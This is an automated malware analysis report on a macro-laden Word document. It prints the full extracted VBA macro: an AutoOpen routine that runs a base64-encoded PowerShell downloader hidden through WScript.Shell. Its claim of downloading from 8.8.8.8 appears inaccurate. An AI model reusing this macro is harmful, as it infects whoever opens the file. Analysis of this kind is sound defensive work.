Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 10bacee0e5b5ce70…

MALICIOUS

Office (OOXML)

23.7 KB Created: 2014-03-29 12:52:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-16
MD5: 0a025ff3b12a25be975eaeb951ba5eb0 SHA-1: aa4d98d242f266cd965e47c66c9aaa5a9372cc4f SHA-256: 10bacee0e5b5ce70e683fef29b14ae47e9b5fb45322874d8a3ced7de451ac015
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that utilize WScript.Shell and reference PowerShell, indicating an attempt to download and execute a second-stage payload. The AutoOpen macro attempts to create a registry Run key at 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy' and executes a command that appears to download a payload from 'http://8.8.8.8'. This suggests a macro-based downloader designed to deliver further malicious content.

Heuristics 9

  • ClamAV: Doc.Virus.Pwshell-6755238-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Virus.Pwshell-6755238-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set a = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set a = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6484 bytes
SHA-256: 7bf36721ebcc75ba51fc0094007d48cc1ed1393c2fb7c5a12d95087d8460838b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
b = "JwBsAFYAQgBqAFcAVwAnADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7ACcAagBOAFEATwBBAGkATQBNAGsAZABSACcAOwAnAGoAbQBxACcAOwAkAHcAdwBvACAAPQAgACgAZwBlAHQALQB3AG0AaQBvAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQBQAHIAbwBkAHUAYwB0ACkALgBVAFUASQBEADsAJwBTAGEAUgB0ACcAOwAnAEUAbABGAGUAWABPAHQAUQBqAHoAJwA7AGkAZgAgACgAKABnAHAAIABIAEsAQwBVADoAXABcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACkAIAAtAG0AYQB0AGMAaAAgACQAdwB3AG8AKQB7ADsAJwBRAGEAVgBkAEYARgBqAGoAJwA7ACcATQB0AHEAQgB1ACcAOwAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0AaQBkAC" _
& "AAJABwAGkAZAApAC4ASwBpAGwAbAAoACkAOwAnAGMAdwAnADsAJwBPAE4AQgBHAFoAJwA7AH0AOwAnAFgAWAB6AHkARQB4AFAAeABGAGgAWQAnADsAJwBwAE0AZABTAEYASwBxAHIAdgBMAGEAJwA7ACcAWgBiAEUASwBiAFMAVQBoACcAOwAnAHgAagBwAFoAZQBZAEQAdgAnADsAZgB1AG4AYwB0AGkAbwBuACAAZQAoACQAcQB6AGEAKQB7ADsAJwBiAEcAYQBMAEEATABuAE0AdwAnADsAJwBFAE4AeABMAFQASwBkAGoAJwA7ACQAbwByAG8AdAAgAD0AIAAoACgAKABpAGUAeAAgACIAbgBzAGwAbwBvAGsAdQBwACAALQBxAHUAZQByAHkAdAB5AHAAZQA9AHQAeAB0ACAAJABxAHoAYQAgADgALgA4AC4AOAAuADgAIgApACAALQBtAGEAdABjAGgAIAAnACIAJwApACAALQByAGUAcABsAGEAYwBlACAAJwAiACcALAAgACcAJwApAFsAMABdAC4AVAByAGkAbQAoACkAOwAnAFoAdQBpAEEAegBaAFQAJwA7ACcASQBuACcAOwAkAGIAcAAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABvAHIAbwB0ACwAIAAkAGEAaQApADsAJwBQ" _
& "AFIAQwBMAEkARgBWAFEASAAnADsAJwBjAFYAJwA7ACQAZgBpACAAPQAgACQAZgBqAHgALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAYQBpACkALgBJAHQAZQBtAHMAKAApADsAJwBjAG0AQgBsAGsAaQBVAFcAJwA7ACcAcABKAHMAYgBXAGYAbABPAEEAUQAnADsAJABmAGoAeAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJAB6AHUAaQApAC4AQwBvAHAAeQBIAGUAcgBlACgAJABmAGkALAAgADIAMAApADsAJwBmAEwARwB6AFcAJwA7ACcAcQBhACcAOwByAGQAIAAkAGEAaQA7ACcASQB0AHAASwAnADsAJwBnAEEAYwB4AFEAbwBrAGoAYgBkAHEAJwA7AH0AOwAnAGQAZgBiAFcAcQBMAHQAJwA7ACcAcAB5AGkAQgBKAEcAUAByAHMAJwA7ACcAUwBIAHIAZQBEAHIAcQBzAGwARwBPACcAOwAnAGIAbQBYAGoAbABHAGsAUABOAE8AVwAnADsAJwB2AEwAYgAnADsAJwB0AEgAWgBGAEcARgBFAFYAUwAnADsAJAB6AHUAaQAgAD0AIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACsAIAAnAFwAJwAgACsAIAAkAHcAdwBvADsAJwBRAEYAWQ" _
& "BhAEUAYgBZAFUAJwA7ACcAVgB5AGIASwB4AFkASQBTAFYAVgAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHoAdQBpACkAKQB7ADsAJwBsAGEAcwB4AGcAJwA7ACcAVwBVAGQASwBIAFkAJwA7ACQAagBuAGoAIAA9ACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlACAALQBQAGEAdABoACAAJAB6AHUAaQA7ACcAVwBTAEIATgB6AHIAUQBXAFIAcAAnADsAJwBPAG0AcgBMAEoAUwBDAGMAcwBiACcAOwAkAGoAbgBqAC4AQQB0AHQAcgBpAGIAdQB0AGUAcwAgAD0AIAAiAEgAaQBkAGQAZQBuACIALAAgACIAUwB5AHMAdABlAG0AIgAsACAAIgBOAG8AdABDAG8AbgB0AGUAbgB0AEkAbgBkAGUAeABlAGQAIgA7ACcAQQBWAEsAdAAnADsAJwBYAHoAUQBTAEMAJwA7AH0AOwAnAGMAcwBQAHAATAB6ACcAOwAnAEcAcQBBACcAOwAnAFgAVQBOAGMAUgBzACcAOwAnAHUAYQBkAFoAcwAnADsAJABmAGsAegA9ACQAegB1AGkAKwAgACcA" _
& "XAB0AG8AcgAuAGUAeABlACcAOwAnAGMAdABBAFUAUwAnADsAJwBuAGQARABkAFcAbABpAFoAdgAnADsAJABzAHoAZQBvAD0AJAB6AHUAaQArACAAJwBcAHAAbwBsAGkAcABvAC4AZQB4AGUAJwA7ACcAYwBDACcAOwAnAHYATQB0AFoAawAnADsAJABhAGkAPQAkAHoAdQBpACsAJwBcACcAKwAkAHcAdwBvACsAJwAuAHoAaQBwACcAOwAnAGsAcgBLAHkARQBqAGgAcwAnADsAJwBKAHIAaQB4AHkAdwAnADsAJABiAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJwBxAGcAbABvAEgAdgBmAGoAJwA7ACcAawBtAE4AVwBCAFoAdwBhAEEAUgAnADsAJABmAGoAeAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AOwAnAFgAWQBMAEkAawBRACcAOwAnAFoATwBVAHUAJwA7ACcAWQBFAEoARgAnADsAJwBOAFkAQwAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGYAawB6AC" _
& "kAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcwB6AGUAbwApACkAewA7ACcASABrAHUATgBEAEcAWgBqAHgAUABOACcAOwAnAHoATgBPAGIAaQBwAGEAbQBDAFQAJwA7AGUAIAAnAGkALgB2AGEAbgBrAGkAbgAuAGQAZQAnADsAJwBsAGMATgBSAG4AcwByAEwAegBuAEcAJwA7ACcASgBlAEkARABQAGsAVQBQAGMAYQBNACcAOwB9ADsAJwBQAGMAYwB3AE0AcQBtAGoASQByACcAOwAnAEwAYwBqACcAOwAnAFIAUwBkAGMAYgBCAGQAcgBXACcAOwAnAEsAdABXAFoASQBkAE0AbwAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGYAawB6ACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcwB6AGUAbwApACkAewA7ACcAZQBVAFIAUAB0AEUAZAAnADsAJwBxAEEAbwBIACcAOwBlACAAJwBnAGcALgBpAGIAaQB6AC4AYwBjACcAOwAnAEMAawBqAEsAJwA7ACcASAByAEwAcgAnADsAfQA7ACcAQgBEAG8AJwA7ACcAZABoAFYAWQBSAHUAZgBPACcAOwAnAHEAVAB0AFIAJwA7" _
& "ACcAdwBXAEgATgByAHkAJwA7ACQAdwBjAD0AJAB6AHUAaQArACcAXAByAG8AYQBtAGkAbgBnAGwAbwBnACcAOwAnAHgAUABRAGcASwAnADsAJwBhAEYAZwBsACcAOwBzAGEAcABzACAAJABmAGsAegAgAC0AQQByACAAIgAgAC0ALQBMAG8AZwAgAGAAIgBuAG8AdABpAGMAZQAgAGYAaQBsAGUAIAAkAHcAYwBgACIAIgAgAC0AdwBpACAASABpAGQAZABlAG4AOwAnAHMASAAnADsAJwBxAHYAawBXAGcAUQBGAE4AJwA7AGQAbwB7AHMAbABlAGUAcAAgADEAOwAkAGwAbAA9AGcAYwAgACQAdwBjAH0AdwBoAGkAbABlACgAIQAoACQAbABsACAALQBtAGEAdABjAGgAIAAnAEIAbwBvAHQAcwB0AHIAYQBwAHAAZQBkACAAMQAwADAAJQA6ACAARABvAG4AZQAuACcAKQApADsAJwBKAHoASgB0AHcAYQBvAHgAbwBkACcAOwAnAGYAbQBMAGkAYgBOAEQAUQBYAGkAVAAnADsAcwBhAHAAcwAgACQAcwB6AGUAbwAgAC0AYQAgACIAcwBvAGMAawBzAFAAYQByAGUAbgB0AFAAcgBvAHgAeQA9AGwAbwBjAGEAbABoAG8AcwB0ADoAOQAwADUAMA" _
& "AiACAALQB3AGkAIABIAGkAZABkAGUAbgA7ACcATQBNAEwAQgAnADsAJwBQAEIAJwA7AHMAbABlAGUAcAAgADcAOwAnAHIAbQB0ACcAOwAnAFUARwBZAFoAbwBIAGEAUAByAEkARAAnADsAJABsAGYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQAoACIAbABvAGMAYQBsAGgAbwBzAHQAOgA4ADEAMgAzACIAKQA7ACcAbQBqAGUAQQBxAFUAJwA7ACcASABoAFYAegAnADsAJABsAGYALgB1AHMAZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIAAkAHQAcgB1AGUAOwAnAEUAbwB3AGoAbABpAGIASQBpAGkAeQAnADsAJwBKAG8AegAnADsAJABiAHAALgBwAHIAbwB4AHkAPQAkAGwAZgA7ACcAdABRAG0AbAB5AHgAZwBTAHEATAAnADsAJwBPAFAAWQBBAHUARQBwAGkAcwBBAHoAJwA7ACQAbwB4AHEAPQAnAGgAdAB0AHAAOgAvAC8AcABvAHcAZQByAHcAbwByAG0AagBxAGoANAAyAGgAdQAuAG8AbgBpAG8AbgAvAGcAZQB0AC4AcABoAHAA" _
& "PwBzAD0AcwBlAHQAdQBwACYAdQBpAGQAPQAnACAAKwAgACQAdwB3AG8AOwAnAEwAYwBPACcAOwAnAFkAegBUAHkAQQBMAFAAJwA7AHcAaABpAGwAZQAoACEAJABjAGwAKQB7ACQAYwBsAD0AJABiAHAALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAkAG8AeABxACkAfQA7ACcAbABNAEIAJwA7ACcARgBRAFEAcABKAG4AQQAnADsAaQBmACAAKAAkAGMAbAAgAC0AbgBlACAAJwBuAG8AbgBlACcAKQB7ADsAJwBUAEsATgBUAG8AJwA7ACcASQBOACcAOwBpAGUAeAAgACQAYwBsADsAJwBQAGkATQAnADsAJwBKAGUAeQBsAGUAZgAnADsAfQA7ACcASgBpAG8AawBLAEsAJwA7AA=="
Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: ad01e7e544d001200ce9d6185917b3eaca28e2eb0b8b460e42af449ca4024bc5
Detection
ClamAV: Doc.Virus.Pwshell-6755238-0
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).

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